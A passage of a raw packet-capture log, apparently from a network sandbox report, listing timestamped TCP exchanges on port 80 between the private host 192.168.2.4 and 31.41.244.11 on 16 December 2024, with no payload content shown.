Dec 16, 2024 21:02:32.847259998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.847326994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.847376108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.848342896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.848388910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.848771095 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.848818064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.849452972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.849502087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.849550009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.849601984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.850562096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.850609064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.850645065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.850713968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.851707935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.851752043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.851830006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.851875067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.852829933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.852876902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.852956057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.852997065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.853914976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.853974104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.854022980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.854079008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.854995012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.855052948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.855079889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.855137110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.856174946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.856240988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.856281042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.856328011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.857239008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.857359886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.857563972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.858359098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.858421087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.858437061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.858489990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.859489918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.859539032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.859605074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.859652042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.860591888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.860645056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.860665083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.860730886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.861686945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.861742973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.861792088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.862060070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.862818003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.862863064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.862915039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.862957954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.864052057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.864140034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.864159107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.864202976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.865032911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.865082979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.865094900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.865138054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.866158962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.866290092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.866317034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.866363049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.867268085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.867377996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.867413044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.867456913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.868381023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.868438005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.868488073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.868638992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.869501114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.869626999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.869703054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.870729923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.870803118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.870857954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.870906115 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.871766090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.871810913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.871830940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.871882915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.872903109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.872951031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.873040915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.873089075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.873987913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.874044895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.874244928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.874294043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.875143051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.875160933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.875190020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.875222921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.876256943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.876307011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.876328945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.876373053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.877439976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.877455950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.877490997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.877523899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.878582954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.878643990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.878709078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.878971100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.879540920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.879585028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.013983965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.014029026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.014086962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.014158010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.014344931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.014398098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.014661074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.014708042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.014800072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.014852047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.015790939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.015837908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.015856028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.015902042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.016627073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.016673088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.017107010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.017154932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.017854929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.017873049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.017908096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.017940044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.018970966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.018986940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.019017935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.019052029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.019963980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.020013094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.020068884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.020114899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.021122932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.021171093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.021255970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.021302938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.022521019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.022567987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.022654057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.022700071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.023566008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.023611069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.023761988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.023807049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.024723053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.024794102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.024884939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.024930000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.025585890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.025640011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.025656939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.025702953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.026757002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.026786089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.026803970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.026835918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.027784109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.027802944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.027837038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.027868986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.028851032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.028898954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.029078960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.029134035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.030015945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.030062914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.030178070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.030225039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.031065941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.031114101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.031177044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.031222105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.032331944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.032413960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.032428980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.032475948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.033802986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.033819914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.033849001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.033883095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.034682035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.034729004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.034946918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.034990072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.036132097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.036149025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.036183119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.036216021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.036988020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.037004948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.037060976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.037060976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.037834883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.037883997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.037941933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.037990093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.038961887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.039010048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.039067984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.039113998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.040112019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.040129900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.040165901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.040198088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.041229010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.041246891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.041280985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.041313887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.042292118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.042309046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.042340040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.042371988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.043363094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.043381929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.043418884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.043450117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.045444965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.045461893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.045511007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.045535088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.045617104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.045635939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.045681000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.046806097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.046857119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.046992064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.047038078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.047940969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.047959089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.048011065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.048012018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.049019098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.049065113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.049097061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.049146891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.050091982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.050108910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.050144911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.050146103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.051250935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.051270008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.051332951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.051332951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.052270889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.052319050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.052366018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.052414894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.053402901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.053420067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.053448915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.053479910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.054567099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.054584980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.054629087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.054629087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.055651903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.055732012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.055738926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.055789948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.056703091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.056754112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.056911945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.056956053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.057950020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.057966948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.058001041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.058032990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.059053898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.059070110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.059108019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.059139013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.060054064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.060106039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.060199976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.060245037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.061348915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.061400890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.061449051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.061496973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.062331915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.062386990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.062484980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.062534094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.063524961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.063575029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.063621998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.063668013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.064758062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.064806938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.064826012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.064877033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.065752983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.065802097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.065834045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.065895081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.066766024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.066826105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.066874027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.066920996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.067960978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.067980051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.068016052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.068047047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.069025040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.069082975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.069087029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.069133043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.070157051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.070173025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.070216894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.070245981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.071516991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.071571112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.071578979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.071624994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.206116915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.206296921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.206511021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.206573963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.206835032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.206864119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.206887007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.206917048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.207657099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.207710028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.207758904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.207804918 CET	49812	80	192.168.2.4	31.41.244.11
